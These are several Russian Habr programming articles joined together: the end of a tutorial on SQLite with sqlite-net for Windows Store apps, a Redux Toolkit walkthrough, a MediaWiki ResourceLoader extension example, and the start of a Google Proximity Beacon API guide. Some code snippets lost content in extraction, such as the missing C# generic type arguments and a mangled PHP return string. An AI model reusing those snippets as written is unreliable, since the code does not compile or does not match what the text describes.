Обратите внимание на ссылку Microsoft Visual C++ Runtime Package. Эта компонента используется библиотекой SQLite. В том случае если мы его не добавим — наш проект будет запускать и работать, но его необходимо добавить, так как в том случае если мы не укажем ссылку, проект не пройдет валидацию Windows App Certification Toolkit.
По умолчанию проект не будет компилироваться.
Для того что бы проект компилировался необходимо в Configuration Manager (Последний пункт в меню Build) выбрать платформу x86, x64 или Arm
К сожалению при выкладывании приложения придется компилировать проект отдельно для каждой платформы, но пока не появится порт SQL Lite на чистом C# не будет возможности компилировать с опцией Any CPU.
При этом в свойствах проекта можно обратно вернуть Any CPU для опций Platform и Platform Target.
#### Добавляем Linq провайдер
Мы можем значительно упростить работу с SQLite добавив в наш .NET проект обертку [sqlite-net](http://www.nuget.org/packages/sqlite-net) от [Tim Heuer](http://timheuer.com/blog/) что бы работать с SQLite аналогично LinqToSql провайдеру. Эта обертка будет полезна тем кто предпочитает linq вместо SQL и так же упростит портирование приложений с Windows Phone.
Для тех кто знакомы с пакетным менеджером, установить обертку можно командой:
```
Install-Package sqlite-net
```
Для тех кто предпочитает работать с визуальным пакетным менеджером, пакет можно установить через меню Manage NuGet packages (доступно в контекстном меню проекта (правой кнопкой мыши по проекту)) или через меню студии Tools –> Library Package Manager – > Manage NuGet Packages for Solution…
##### Решение проблемы с киррилическими именами. (Именами пользователя на русском языке)
Так как имя пользователя входит в часть пути изолированного хранилища приложения, и из за небольшой баги, sqlite-net не может работать с путями с кириллицей. Ваше приложение может оказаться не работоспособным для тех пользователей, у которых имя указано кирилицей.
После установки Sqlite-net в наш проект добавляется два файла
SQLite.cs
SQLiteAsync.cs
для исправления ошибки, в файле sqlite.net в конструкторе класса public SQLiteConnection (string databasePath, bool storeDateTimeAsTicks = false) необходимо поменять строку
```
var r = SQLite3.Open(DatabasePath, out handle);
```
на
```
var r = SQLite3.Open16(DatabasePath, out handle);
```
Теперь у нас все готово что бы работать с базой данных.
Для подключения к БД можно использоваться следующий код:
```
using (var db = new SQLiteConnection(dbPath))
{
//db code
}
```
где dbPath полный путь к базе в файловой системе:
```
dbPath = Path.Combine(ApplicationData.Current.LocalFolder.Path, "databasename.db");
```
sqlite-net позволяет работать как с помощью Linq провайдера, так и в стиле ADO.NET. Рассмотрим оба пункта чуть подробнее.
#### Добавление провайдера sqlite-net
К примеру нам нужно сохранять в базе список продуктов. В первую очередь необходимо подготовить соответствующие модели.
К примеру, создадим простую модель продукта, в котором будет указан первичный ключ с автоинкрементом и текстовое поле в 250 символов:
```
public class Product
{
[PrimaryKey, AutoIncrement]
public int ProductId { get; set; }
[MaxLength(250)]
public string Name { get; set; }
}
```
Допустим у нас есть некий отдельный класс DataLayer для работы с базой данных. В конструкторе класса создим строку подключения к базе данных:
```
private readonly string dbPath;
public DataLayer()
{
dbPath = Path.Combine(ApplicationData.Current.LocalFolder.Path, "products.db");
}
```
Добавим в класс метод Init который будет создавать базу данных и таблицу Product при выполнении этого метода:
```
public void Init()
{
using (var db = new SQLiteConnection(dbPath))
{
db.CreateTable();
}
}
```
При выполнении этого метода в локальной папке будет создана база products.db. Это будет обычная sqlite БД, которую можно будет использовать на других платформах. Так же мы можем использовать любые утилиты для просмотра базы. К примеру, если возмем бесплатную [SQLite Expert Personal](http://www.sqliteexpert.com/download.html) и откроем в нем эту БД мы можем посмотреть схему нашей таблицы:
Рассмотрим несколько примеров работы для типовых сценариев. Например код добавления нового продукта:
```
public Product AddProduct(string name)
{
var product = new Product() {Name = name};
using (var db = new SQLiteConnection(dbPath))
{
db.Insert(product);
}
return product;
}
```
При выполнении этого метода, объекту Product свойству ProductId будет автоматически присвоено идентификатор из БД.
Следующий участок кода получает продукт по выбранному идентификатору:
```
public Product GetProductById(int productId)
{
using (var db = new SQLiteConnection(dbPath))
{
return db.Table().FirstOrDefault(i => i.ProductId == productId);
}
}
```
так же можно использовать прямой sql запрос для извлечения записей:
```
public Product GetProductById(int productId)
{
using (var db = new SQLiteConnection(dbPath))
{
return db.Query("select \* from product where ProductId=?", productId).FirstOrDefault();
}
}
```
Соответственно все записи мы можем получить аналогично:
```
public List GetAllProducts()
{
using (var db = new SQLiteConnection(dbPath))
{
return db.Table().ToList();
}
}
```
Еще одной из приятных особенностей обертки является возможность удаления продукта по идентификатору (чего не хватает в LinqToSQL):
```
public void DeleteProduct(int id)
{
using (var db = new SQLiteConnection(dbPath))
{
db.Delete(id);
}
}
```
Полный пример демонстрирующую очень простой пример работы со списком книг можно скачать [здесь](http://akhmed.ru/blogmaterials/sourcecode/applicationdata/FileStorageDB.zip).
#### Работа с БД через SQL запросы (в стиле ADO.NET)
Несмотря на удобства Linq провайдера, в некоторых случаях возможно будет удобнее работать с базой данных напрямую с помощью SQL запросов, к примеру, при портировании существующего кода. sqlite-net позволяет полноценно работать с базой данных как для выполнения простых запросов не возвращающих никаких данных, так и с данными возвращающими сложные типы данных.
В следующих примерах рассмотрим как выполнять простые запросы, запросы с параметрами и запросы возвращающий простой тип данных и таблицу.
Для примеров мы рассмотрим аналогичный рассмотренному в 6.3. класс DataLayer для работы с данными, со строкой подключения в конструкторе:
```
private readonly string dbPath;
public DataLayer()
{
dbPath = Path.Combine(ApplicationData.Current.LocalFolder.Path, "products.db");
}
```
Рассмотрим аналогичный метод создания таблицы:
```
public void Init()
{
using (var db = new SQLiteConnection(dbPath))
{
db.CreateCommand(
@"CREATE TABLE ""Product""( ""ProductId"" integer primary key autoincrement not null , ""Name"" varchar(250) );"
).ExecuteNonQuery();
}
}
```
В некоторых случаях требуется выполнить запрос с входными аргументами. В таком случае можно добавлять неограниченное количество параметров используя символ “?” в sql запросе для каждого параметра. К примеру рассмотрим реализацию метода добавления продукта по имени:
```
public void AddProduct(string name)
{
using(var db=new SQLiteConnection(dbPath))
{
db.CreateCommand("INSERT INTO Product (Name) VALUES (?)", name).ExecuteNonQuery();
}
}
```
В некоторых случаях нам может потребоваться возвращать простой тип данных в результате выполнения запроса. Так, запрос возвращающий количество строк в БД будет выглядеть следующим образом:
```
public int GetCount()
{
using (var db = new SQLiteConnection(dbPath))
{
return db.CreateCommand("SELECT COUNT(ProductId) FROM Product").ExecuteScalar();
}
}
```
В тех случаях когда нам нужно возвращать таблицы, у нас должна быть соответствующая модель для извлечения записи. Для нашей таблицы модель будет выглядеть следующим образом:
```
public class Product
{
public int ProductId { get; set; }
public string Name { get; set; }
}
```
теперь мы можем получить через sql запрос все записи из нашей базы:
```
public List GetAllProducts()
{
using(var db=new SQLiteConnection(dbPath))
{
return db.CreateCommand("select \* from product").ExecuteQuery();
}
}
```
#### Итоги
Как видим, использование SQL Lite не сложнее работы с SQL CE. Таким образом вы можете воспользоваться единой кросплатформенной БД во всех версиях вашего приложения. В ноябрьской статье я рассмотрю как создавать кросплатформенное приложение с использованием этой библиотеки.
P.S. Большое спасибо [VoldemarRinger](https://habrahabr.ru/users/voldemarringer/) и [Stasus](https://habrahabr.ru/users/stasus/) за помощь, консультацию и решение проблемы при изучении проблемы с кирилицей. | https://habr.com/ru/post/151479/ | null | ru | null |
# Redux Toolkit как средство эффективной Redux-разработки
В настоящее время разработка львиной доли веб-приложений, основанных на фреймворке React, ведется с использованием библиотеки Redux. Данная библиотека является самой популярной реализацией FLUX-архитектуры и, несмотря на ряд очевидных преимуществ, имеет весьма существенные недостатки, такие как:
* сложность и “многословность” рекомендованных паттернов для написания и организации кода, что влечет за собой большое количество бойлерплейта;
* отсутствие встроенных средств управления асинхронным поведением и побочными эффектами, что приводит к необходимости выбора подходящего инструмента из множества аддонов, написанных сторонними разработчиками.
Для устранения этих недостатков разработчики Redux представили библиотеку Redux Toolkit. Этот инструмент представляет собой набор практических решений и методов, предназначенных для упрощения разработки приложений с использованием Redux. Разработчики данной библиотеки преследовали цель упростить типичные случаи использования Redux. Данный инструмент не является универсальным решением в каждом из возможных случаев использования Redux, но позволяет упростить тот код, который требуется написать разработчику.
В данной статье мы расскажем об основных инструментах, входящих в Redux Toolkit, а также, на примере фрагмента нашего внутреннего приложения, покажем, как их использовать в уже имеющемся коде.
Кратко о библиотеке
-------------------
Краткая информация о Redux Toolkit:
* до релиза библиотека называлась redux-starter-kit;
* релиз состоялся в конце октября 2019 года;
* библиотека официально поддерживается разработчиками Redux.
Согласно [заявлению разработчиков](https://redux-toolkit.js.org/introduction/quick-start#purpose), Redux Toolkit выполняет следующие функции:
* помогает быстро начать использовать Redux;
* упрощает работу с типичными задачами и кодом Redux;
* позволяет использовать лучшие практики Redux по умолчанию;
* предлагает решения, которые уменьшают недоверие к бойлерплейтам.
Redux Toolkit предоставляет набор как специально разработанных, так и добавляет ряд хорошо себя зарекомендовавших [инструментов](https://redux-toolkit.js.org/api/other-exports), которые обычно используются совместно с Redux. Такой подход позволяет разработчику решить как и какие инструменты использовать в своем приложении. По ходу данной статьи мы будем отмечать какие заимствования использует данная библиотека. Более полную информацию и зависимостях Redux Toolkit можно получить из описания пакета [@reduxjs/toolkit](https://www.npmjs.com/package/@reduxjs/toolkit).
Наиболее значимыми функциями, предоставляемыми библиотекой Redux Toolkit являются:
* <#configureStore> — функция, предназначенная упростить процесс создания и настройки хранилища;
* <#createReducer> — функция, помогающая лаконично и понятно описать и создать редьюсер;
* <#createAction> — возвращает функцию создателя действия для заданной строки типа действия;
* <#createSlice> — объединяет в себе функционал createAction и createReducer;
* createSelector — функция из библиотеки [Reselect](https://github.com/reduxjs/reselect), переэкспортированная для простоты использования.
Также, стоит отметить, что Redux Toolkit полностью интегрирован с TypeScript. Более подробную информацию об этом можно получить из раздела [Usage With TypeScript](https://redux-toolkit.js.org/usage/usage-with-typescript/) официальной документации.
Применение
----------
Рассмотрим использование библиотеки Redux Toolkit на примере фрагмента реально используемого React Redux приложения.
*Примечание*. Далее в статье будет приводиться исходный код как без использования Redux Toolkit, так и с использованием, что позволит лучше оценить положительные и отрицательные стороны использования данной библиотеки.
### Задача
В одном из наших внутренних приложений возникла необходимость добавлять, редактировать и отображать информацию о релизах выпускаемых нами программных продуктов. Для каждого из этих действий были разработаны отдельные функции API, результаты выполнения которых и требуется добавлять в Redux store. В качестве средства управления асинхронным поведением и побочными эффектами будем использовать [Thunk](https://github.com/reduxjs/redux-thunk).
### Создание хранилища
Первоначальный вариант исходного кода, осуществляющего создание хранилища выглядел следующим образом:
```
import {
createStore, applyMiddleware, combineReducers, compose,
} from 'redux';
import thunk from 'redux-thunk';
import * as reducers from './reducers';
const ext = window.__REDUX_DEVTOOLS_EXTENSION__;
const devtoolMiddleware =
ext && process.env.NODE_ENV === 'development' ? ext() : f => f;
const store = createStore(
combineReducers({
...reducers,
}),
compose(
applyMiddleware(thunk),
devtoolMiddleware
)
);
```
Если внимательно взглянуть на приведенный код, можно увидеть довольно длинную последовательность действий, которую необходимо совершить чтобы хранилище было полностью сконфигурировано. Redux Toolkit содержит инструмент, призванный упростить данную процедуру, а именно: функцию configureStore.
#### Функция configureStore
Данный инструмент позволяет автоматически комбинировать редьюсеры, добавить мидлвары Redux (по умолчанию включает redux-thunk), а также использовать расширение Redux DevTools. В качестве входных параметров функция configureStore принимает объект со следующими свойствами:
* reducer — набор пользовательских редьюсеров,
* middleware — опциональный параметр, задающий массив мидлваров, предназначенных для подключения к хранилищу,
* devTools — параметр логического типа, позволяющий включить установленное в браузер расширение Redux DevTools (значение по умолчанию — true),
* preloadedState — опциональный параметр, задающий начальное состояние хранилища,
* enhancers — опциональный параметр, задающий набор усилителей.
Для получения наиболее популярного списка мидлваров можно воспользоваться специальной функцией getDefaultMiddleware, также входящей в состав Redux Toolkit. Данная функция возвращает массив с включенными по умолчанию в библиотеку Redux Toolkit мидлварами. Перечень этих мидлваров отличается в зависимости от того, в каком режиме выполняется ваш код. В production режиме массив состоит только из одного элемента — thunk. В режиме development на момент написания статьи список пополняется следующими мидлварами:
* serializableStateInvariant — инструмент, специально разработанный для использования в Redux Toolkit и предназначенный для проверки дерева состояний на предмет наличия несериализуемых значений, таких как функции, Promise, Symbol и другие значения, не являющиеся простыми JS-данными;
* immutableStateInvariant — мидлвар из пакета [redux-immutable-state-invariant](https://www.npmjs.com/package/redux-immutable-state-invariant), предназначенный для обнаружения мутаций данных, содержащихся в хранилище.
Для задания возващаемого перечня мидлваров функция getDefaultMidlleware принимает объект, определяющий перечень включенных мидлваров и настройки для каждого из них. Подробнее с данной информацией можно ознакомиться в соответствующем [разделе](https://redux-toolkit.js.org/api/getDefaultMiddleware#customizing-the-included-middleware) официальной документации.
Теперь перепишем участок кода, отвечающий за создание хранилища, воспользовавшись описанными выше инструментами. В результате получим следующее:
```
import { configureStore, getDefaultMiddleware } from '@reduxjs/toolkit';
import * as reducers from './reducers';
const middleware = getDefaultMiddleware({
immutableCheck: false,
serializableCheck: false,
thunk: true,
});
export const store = configureStore({
reducer: { ...reducers },
middleware,
devTools: process.env.NODE_ENV !== 'production',
});
```
На примере данного участка кода хорошо видно, что функция configureStore решает следующие проблемы:
* необходимость комбинировать редьюсеры, автоматически вызывая combineReducers,
* необходимость комбинировать мидлвары, автоматически вызывая applyMiddleware.
А также позволяет более удобно включить расширение Redux DevTools, используя функцию composeWithDevTools из пакета [redux-devtools-extension](https://www.npmjs.com/package/redux-devtools-extension). Все вышесказанное свидетельствует о том, что использование данной функции позволяет сделать код более компактным и понятным.
На этом создание и настройка хранилища завершены. Передаем его в провайдер и переходим далее.
### Действия, создатели действий и редьюсер
Теперь рассмотрим возможности Redux Toolkit в части разработки действий, создателей действий и редьюсера. Первоначальный вариант кода без использования Redux Toolkit был организован в виде файлов actions.js и reducers.js. Содержимое файла actions.js выглядело следующим образом:
```
import * as productReleasesService from '../../services/productReleases';
export const PRODUCT_RELEASES_FETCHING = 'PRODUCT_RELEASES_FETCHING';
export const PRODUCT_RELEASES_FETCHED = 'PRODUCT_RELEASES_FETCHED';
export const PRODUCT_RELEASES_FETCHING_ERROR =
'PRODUCT_RELEASES_FETCHING_ERROR';
…
export const PRODUCT_RELEASE_UPDATING = 'PRODUCT_RELEASE_UPDATING';
export const PRODUCT_RELEASE_UPDATED = 'PRODUCT_RELEASE_UPDATED';
export const PRODUCT_RELEASE_CREATING_UPDATING_ERROR =
'PRODUCT_RELEASE_CREATING_UPDATING_ERROR';
function productReleasesFetching() {
return {
type: PRODUCT_RELEASES_FETCHING
};
}
function productReleasesFetched(productReleases) {
return {
type: PRODUCT_RELEASES_FETCHED,
productReleases
};
}
function productReleasesFetchingError(error) {
return {
type: PRODUCT_RELEASES_FETCHING_ERROR,
error
}
}
…
export function fetchProductReleases() {
return dispatch => {
dispatch(productReleasesFetching());
return productReleasesService.getProductReleases().then(
productReleases => dispatch(productReleasesFetched(productReleases))
).catch(error => {
error.clientMessage = "Can't get product releases";
dispatch(productReleasesFetchingError(error))
});
}
}
…
export function updateProductRelease(
id, productName, productVersion, releaseDate
) {
return dispatch => {
dispatch(productReleaseUpdating());
return productReleasesService.updateProductRelease(
id, productName, productVersion, releaseDate
).then(
productRelease => dispatch(productReleaseUpdated(productRelease))
).catch(error => {
error.clientMessage = "Can't update product releases";
dispatch(productReleaseCreatingUpdatingError(error))
});
}
}
```
Содержимое файла reducers.js до использования Redux Toolkit:
```
const initialState = {
productReleases: [],
loadedProductRelease: null,
fetchingState: 'none',
creatingState: 'none',
updatingState: 'none',
error: null,
};
export default function reducer(state = initialState, action = {}) {
switch (action.type) {
case productReleases.PRODUCT_RELEASES_FETCHING:
return {
...state,
fetchingState: 'requesting',
error: null,
};
case productReleases.PRODUCT_RELEASES_FETCHED:
return {
...state,
productReleases: action.productReleases,
fetchingState: 'success',
};
case productReleases.PRODUCT_RELEASES_FETCHING_ERROR:
return {
...state,
fetchingState: 'failed',
error: action.error
};
…
case productReleases.PRODUCT_RELEASE_UPDATING:
return {
...state,
updatingState: 'requesting',
error: null,
};
case productReleases.PRODUCT_RELEASE_UPDATED:
return {
...state,
updatingState: 'success',
productReleases: state.productReleases.map(productRelease => {
if (productRelease.id === action.productRelease.id)
return action.productRelease;
return productRelease;
})
};
case productReleases.PRODUCT_RELEASE_UPDATING_ERROR:
return {
...state,
updatingState: 'failed',
error: action.error
};
default:
return state;
}
}
```
Как мы можем видеть, именно здесь содержится большая часть бойлерплейта: константы типов действий, создатели действий, снова константы, но уже в коде редьюсера на написание всего этого кода приходится тратить время. Частично от этого бойлерплейта можно избавиться, если воспользоваться функциями createAction и createReducer, которые также входят в состав Redux Toolkit.
#### Функция createAction
В приведенном участке кода используется стандартный способ определения действия в Redux: сначала отдельно объявляется константа, определяющая тип действия, после чего — функция создателя действия этого типа. Функция [createAction](https://redux-toolkit.js.org/api/createaction/#createaction) объединяет эти два объявления в одно. На вход она принимает тип действия и возвращает создателя действия для этого типа. Создатель действия может быть вызван либо без аргументов, либо с некоторым аргументом (полезная нагрузка), значение которого будет помещено в поле payload, созданного действия. Кроме того, создатель действия переопределяет функцию toString(), так что тип действия становится его строковым представлением.
В некоторых случаях может понадобиться написать дополнительную логику для настройки значения полезной нагрузки, например, принять несколько параметров для создателя действия, создать случайный идентификатор или получить текущую временну́ю метку. Для этого createAction принимает необязательный второй аргумент — функцию, которая будет использоваться для обновления значения полезной нагрузки. Подробнее о данном [параметре](https://redux-toolkit.js.org/api/createaction/#using-prepare-callbacks-to-customize-action-contents) можно ознакомиться в официальной документации.
Использовав функцию createAction, получим следующий код:
```
export const productReleasesFetching =
createAction('PRODUCT_RELEASES_FETCHING');
export const productReleasesFetched =
createAction('PRODUCT_RELEASES_FETCHED');
export const productReleasesFetchingError =
createAction('PRODUCT_RELEASES_FETCHING_ERROR');
…
export function fetchProductReleases() {
return dispatch => {
dispatch(productReleasesFetching());
return productReleasesService.getProductReleases().then(
productReleases => dispatch(productReleasesFetched({ productReleases }))
).catch(error => {
error.clientMessage = "Can't get product releases";
dispatch(productReleasesFetchingError({ error }))
});
}
}
...
```
#### Функция createReducer
Теперь рассмотрим редьюсер. Как и в нашем примере, редьюсеры часто реализуются с помощью оператора switch, с одним регистром для каждого обработанного типа действия. Этот подход работает хорошо, но не лишен бойлерплейта и подвержен ошибкам. Например, легко забыть описать случай default или не установить начальное состояние. Функция [createReducer](https://redux-toolkit.js.org/api/createreducer/) упрощает создание функций редьюсера, определяя их как таблицы поиска функций для обработки каждого типа действия. Она также позволяет существенно упростить логику иммутабельного обновления, написав код в “мутабельном” стиле внутри редьюсеров.
“Мутабельный” стиль обработки событий доступен благодаря использованию библиотеки [Immer](https://immerjs.github.io/immer/docs/introduction). Функция обработчик может либо “мутировать” переданный state для изменения свойств, либо возвращать новый state, как при работе в иммутабельном стиле, но, благодаря Immer, реальная мутация объекта не осуществляется. Первый вариант куда проще для работы и восприятия, особенно при изменении объекта с глубокой вложенностью.
Будьте внимательны: возврат нового объекта из функции перекрывает “мутабельные” изменения. Одновременное применение обоих методов обновления состояния не сработает.
В качестве входных параметров функция createReducer принимает следующие аргументы:
* начальное состояние хранилища,
* объект, устанавливающий соответствие между типами действий и редьюсерами, каждый из которых обрабатывает какой-то определенный тип.
Воспользовавшись методом createReducer, получим следующий код:
```
const initialState = {
productReleases: [],
loadedProductRelease: null,
fetchingState: 'none',
creatingState: 'none',
loadingState: 'none',
error: null,
};
const counterReducer = createReducer(initialState, {
[productReleasesFetching]: (state, action) => {
state.fetchingState = 'requesting'
},
[productReleasesFetched.type]: (state, action) => {
state.productReleases = action.payload.productReleases;
state.fetchingState = 'success';
},
[productReleasesFetchingError]: (state, action) => {
state.fetchingState = 'failed';
state.error = action.payload.error;
},
…
[productReleaseUpdating]: (state) => {
state.updatingState = 'requesting'
},
[productReleaseUpdated]: (state, action) => {
state.updatingState = 'success';
state.productReleases = state.productReleases.map(productRelease => {
if (productRelease.id === action.payload.productRelease.id)
return action.payload.productRelease;
return productRelease;
});
},
[productReleaseUpdatingError]: (state, action) => {
state.updating = 'failed';
state.error = action.payload.error;
},
});
```
Как мы видим, использование функций createAction и createReducer существенно решает проблему написания лишнего кода, но проблема предварительного создания констант всё равно остается. Поэтому рассмотрим более мощный вариант, объединяющий в себе генерацию и создателей действий и редьюсера — функция createSlice.
#### Функция createSlice
В качестве входных параметров функция createSlice принимает объект со следующими полями:
* name — пространство имен создаваемых действий (`${name}/${action.type}`);
* initialState — начальное состояние редьюсера;
* reducers — объект с обработчиками. Каждый обработчик принимает функцию с аргументами state и action, action содержит в себе данные в свойстве payload и имя события в свойстве name. Кроме того, имеется возможность предварительного изменения данных, полученных из события, перед их попаданием в редьюсер (например, добавить id к элементам коллекции). Для этого вместо функции необходимо передать объект с полями reducer и prepare, где reducer — это функция-обработчик действия, а prepare — функция-обработчик полезной нагрузки, возвращающая обновленный payload;
* extraReducers — объект, содержащий редьюсеры другого среза. Данный параметр может потребоваться в случае необходимости обновления объекта, относящегося к другому срезу. Подробнее про данную функциональную возможность можно узнать из соответствующего [раздела](https://redux-toolkit.js.org/api/createSlice#extrareducers) официальной документации.
Результатом работы функции является объект, называемый "срез", со следующими полями:
* name — имя среза,
* reducer — редьюсер,
* actions — набор действий.
Использовав данную функцию для решения нашей задачи, получим следующий исходный код:
```
const initialState = {
productReleases: [],
loadedProductRelease: null,
fetchingState: 'none',
creatingState: 'none',
loadingState: 'none',
error: null,
};
const productReleases = createSlice({
name: 'productReleases',
initialState,
reducers: {
productReleasesFetching: (state) => {
state.fetchingState = 'requesting';
},
productReleasesFetched: (state, action) => {
state.productReleases = action.payload.productReleases;
state.fetchingState = 'success';
},
productReleasesFetchingError: (state, action) => {
state.fetchingState = 'failed';
state.error = action.payload.error;
},
…
productReleaseUpdating: (state) => {
state.updatingState = 'requesting'
},
productReleaseUpdated: (state, action) => {
state.updatingState = 'success';
state.productReleases = state.productReleases.map(productRelease => {
if (productRelease.id === action.payload.productRelease.id)
return action.payload.productRelease;
return productRelease;
});
},
productReleaseUpdatingError: (state, action) => {
state.updating = 'failed';
state.error = action.payload.error;
},
},
});
```
Теперь извлечем из созданного среза создатели действий и редьюсер.
```
const { actions, reducer } = productReleases;
export const {
productReleasesFetched, productReleasesFetching,
productReleasesFetchingError,
…
productReleaseUpdated,
productReleaseUpdating, productReleaseUpdatingError
} = actions;
export default reducer;
```
Исходный код создателей действий, содержащих вызовы API, не изменился, за исключением способа передачи параметров при отправке действий:
```
export const fetchProductReleases = () => (dispatch) => {
dispatch(productReleasesFetching());
return productReleasesService
.getProductReleases()
.then((productReleases) => dispatch(productReleasesFetched({ productReleases })))
.catch((error) => {
error.clientMessage = "Can't get product releases";
dispatch(productReleasesFetchingError({ error }));
});
};
…
export const updateProductRelease = (id, productName, productVersion, releaseDate) => (dispatch) => {
dispatch(productReleaseUpdating());
return productReleasesService
.updateProductRelease(id, productName, productVersion, releaseDate)
.then((productRelease) => dispatch(productReleaseUpdated({ productRelease })))
.catch((error) => {
error.clientMessage = "Can't update product releases";
dispatch(productReleaseUpdatingError({ error }));
});
```
Приведенный выше код, показывает, что функция createSlice позволяет избавиться от значительной части бойлерплейта при работе с Redux, что позволяет не только сделать код более компактным, лаконичным и понятным, но и тратить меньше времени на его написание.
Итог
----
В завершении данной статьи, хотелось бы сказать, что несмотря на то, что библиотека Redux Toolkit не вносит ничего нового в управление хранилищем, она предоставляет ряд гораздо более удобных средств для написания кода чем были до этого. Данные средства позволяют не только сделать процесс разработки более удобным, понятным и быстрым, но и более эффективным, за счет наличия в библиотеке ряда хорошо зарекомендовавших себя ранее инструментов. Мы, в Инобитек, планируем и дальше использовать данную библиотеку при разработке наших программных продуктов и следить за новыми перспективными разработками в области Web-технологий.
Спасибо за внимание. Надеемся, что наша статья окажется полезной. Более подробную информацию о библиотеке Redux Toolkit можно получить из официальной [документации](https://redux-toolkit.js.org/). | https://habr.com/ru/post/481288/ | null | ru | null |
# Используем ResourceLoader в MediaWiki
В MediaWiki, начиная с версии 1.17, появился новый механизм сборки и загрузки стилей и скриптов — **ResourceLoader**. В этой статье я опишу его использование на примере расширения [GoogleCodePrettify](http://www.mediawiki.org/wiki/Extension:GoogleCodePrettify), которое добавляет тэг `syntaxhighlight` в разметку MediaWiki.
Всем авторам расширений настоятельно рекомендуется использовать новый механизм взамен устаревших `addScript` etc.
Для начала определим модуль ресурсов для загрузки:
```
$wgResourceModules['ext.GoogleCodePrettify'] = array(
'localBasePath' => dirname(__FILE__),
'remoteExtPath' => 'GoogleCodePrettify',
'styles' => array('google-code-prettify/prettify.css'),
'scripts' => array('google-code-prettify/prettify.js', 'init.js')
);
```
Теперь при загрузке парсера Wiki-разметки обработаем тэг **syntaxhighlight**:
```
// Register parser hook
$wgHooks['ParserFirstCallInit'][] = 'efGoogleCodePrettify_Setup';
/**
* Register parser hook
*/
function efGoogleCodePrettify_Setup( &$parser ) {
$parser->setHook('syntaxhighlight', array('GoogleCodePrettify', 'parserHook'));
return true;
}
class GoogleCodePrettify {
private static $prettified = false;
public static function parserHook($text, $args = array(), $parser) {
self::$prettified = true;
return "
```\"prettyprint\"
$text
```
";
}
```
И, наконец, добавим нужные стили и скрипты при необходимости:
```
// Register before display hook
$wgHooks['BeforePageDisplay'][] = 'GoogleCodePrettify::beforePageDisplay';
# в классе
public static function beforePageDisplay(&$wgOut, &$sk) {
if (self::$prettified) {
$wgOut->addModules('ext.GoogleCodePrettify');
}
// Continue
return true;
}
```
Сборку стилей и скриптов ResourceLoader возьмёт на себя. Обратите внимание, что при наличии опции debug=1 в query string он отдаст стили и скрипты «как есть».
Да, чуть не забыл. Вот как выглядит скрипт `init.js`:
```
(function($, window) {
$(window.document).ready(function() {
window.prettyPrint();
});
})(window.jQuery, window);
```
---
Смотрите также:
* [Репозиторий проекта на GitHub](https://github.com/Undev/MediaWiki-GoogleCodePrettify);
* Библиотека [Google Code Prettify](http://google-code-prettify.googlecode.com/svn/trunk/README.html);
* [Документация ResourceLoader](http://www.mediawiki.org/wiki/ResourceLoader);
* Другой пример простого расширения с использованием ResourceLoader: [MediaWiki-MashaJS](https://github.com/Undev/MediaWiki-MashaJS). | https://habr.com/ru/post/130949/ | null | ru | null |
# Google's beacon platform. Часть 1 — Proximity beacon API
[**Google's beacon platform**](https://developers.google.com/beacons/overview) — это решение для работы с Bluetooth маячками. Платформа работает с разными маячками от разных производителей, предоставляя разработчикам единый, простой и гибкий инструмент.
Перед прочтением этой статьи я рекомендую ознакомиться с концепцией **Physical Web** о которой я рассказывал в своей прошлой статье: [Концепция Physical web. Bluetooth маячки. Сравнение стандартов iBeacon, AltBeacon и Eddystone](https://habrahabr.ru/post/278443/).
[Google's beacon platform. Часть 1 — Proximity beacon API](https://habrahabr.ru/post/279381/)
[Google's beacon platform. Часть 2 — Nearby meassages API](https://habrahabr.ru/post/279379/)
**Google's beacon platform** позволяет нам избежать необходимости физического контакта с маячками для их переконфигурирования, как и в случае с Physical Web, когда мы транслируем обычный URL(**Eddystone-URL**), мы можем лишь менять вложения которые привязаны к маячкам, тем самым управлять маячками удаленно. Данное решение так же позволяет мониторить все наши маячки удаленно. Как это реализовано я расскажу дальше.
Как видно из схемы, для администрирования маячков нам предоставляется [**Google Proximity Beacon API**](https://developers.google.com/beacons/proximity/guides), с помощью которого мы можем регистрировать наши устройства в **Google Beacons Registry**. В нём хранится информация о зарегистрированных маячках. С клиентской стороны, для взаимодействия с устройствами предлагается использовать [**Nearby Messages API**](https://developers.google.com/nearby/messages/overview), [**Places API**](https://developers.google.com/places/?hl=ru) или что то ещё на ваше усмотрение.
Если коротко, при такой схеме работы маячки транслируют **Advertisment ID** (**Eddystone-UID**), к которому мы можем привязввать некие вложения (**Attachments**), о которых я подробно расскажу ниже. После того как мы обнаружили маячок нашим смартфоном или планшетом, мы делаем запрос по его **Advertisment ID** в **Beacons Registry**, а ответом получаем это самое вложение. Такой сценарий отлично подходит когда нам необходимо сделать не публичное приложение для специального или внутреннего использования. Или когда мы хотим добавить в уже имеющееся, популярное у пользователей, приложение возможность работы с маячками, например для навигации или получения каких то дополнительных данных.
Т.е. нам обязательно нужно приложение, а как же **Physical Web**???
Благодаря тому что некоторые маячки умеют рассылать сразу два типа пакетов одновременно, например, **Eddystone-URL** или **Eddystone-UID**, мы можем обеспечить наше приложение дополнительными метаданными, а пользователей без приложения, самим приложением!
Google Proximity Beacon API
---------------------------
**Google Proximity Beacon API** — это облачный сервис, который через **REST** интерфейс позволяет управлять маячками, а точнее связанными с ними данными.
**Proximity Beacon API** позволяет:
* Регистрировать устройства
* Присоединять вложения к маячкам
* Мониторить устройства
* Получать вложения от маячков
Перед использованием **Proximity Beacon API**, будет полезно понимать или ознакомиться со следующим:
* Использование [**OAuth 2.0** для доступа к **Google API**](https://developers.google.com/identity/protocols/OAuth2)
* [**RESTfull** web сервисы](https://en.wikipedia.org/wiki/Representational_state_transfer#Applied_to_web_services)
* [**JSON** представление данных](https://en.wikipedia.org/wiki/JSON)
Для работы с **Proximity Beacon API** необходимо выполнить 5 следующих шагов:
1. Создать или зайти в **Google Account**
2. Создать новый проект или выбрать существующий в [**консоли разработчика Google**](https://console.developers.google.com/)
3. Активировать **Proximity Beacon API** — в консоли разработчика Google нажмите Select a project и выберите проект который вы хотите использовать. В левом, боковом меню нажмите на API Мanager, затем найдите Proximity Beacon API и установите его статусу значение `enabled`
4. Получить [**OAuth 2.0 client ID**](https://developers.google.com/beacons/proximity/get-started#step_4_get_an_oauth_20_client_id)
5. Получить [**API KEY**](https://developers.google.com/beacons/proximity/get-started#step_5_get_an_api_key). Крайне советую ознакомиться с [**Best practices for securely using API keys**](https://support.google.com/cloud/answer/6310037)
**Осторожно, gif! Пункты 1,2 и 3**
**Осторожно, gif! Пункт 4**
**Осторожно, gif! Пункт 5**
### Регистрация маячков
